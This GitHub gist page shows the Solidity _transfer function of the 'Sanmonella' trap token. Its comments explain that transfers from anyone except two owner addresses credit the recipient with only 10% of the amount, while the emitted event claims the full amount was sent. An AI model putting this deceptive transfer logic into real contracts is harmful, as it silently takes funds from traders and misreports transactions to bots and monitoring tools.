Created
August 9, 2021 02:36
-
-
Save yuyasugano/ce74b585f3583536a7972eb3028db2e6 to your computer and use it in GitHub Desktop.
Sanmonella contract _transfer function
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function _transfer(address sender, address recipient, uint256 amount) internal virtual { | |
require(sender != address(0), "ERC20: transfer from the zero address"); | |
require(recipient != address(0), "ERC20: transfer to the zero address"); | |
// sender's balance needs to equal to or more han the amount | |
uint256 senderBalance = _balances[sender]; | |
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); | |
// allow normal users to increase received amount | |
if (sender == ownerA || sender == ownerB) { | |
_balances[sender] = senderBalance - amount; | |
_balances[recipient] += amount; | |
// behaves differently, returns only 10% of the specified amount | |
} else { | |
_balances[sender] = senderBalance - amount; | |
uint256 trapAmount = (amount * 10) / 100; | |
_balances[recipient] += trapAmount; | |
} | |
// even with 10% returns, emit an event with the specified amount | |
emit Transfer(sender, recipient, amount); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment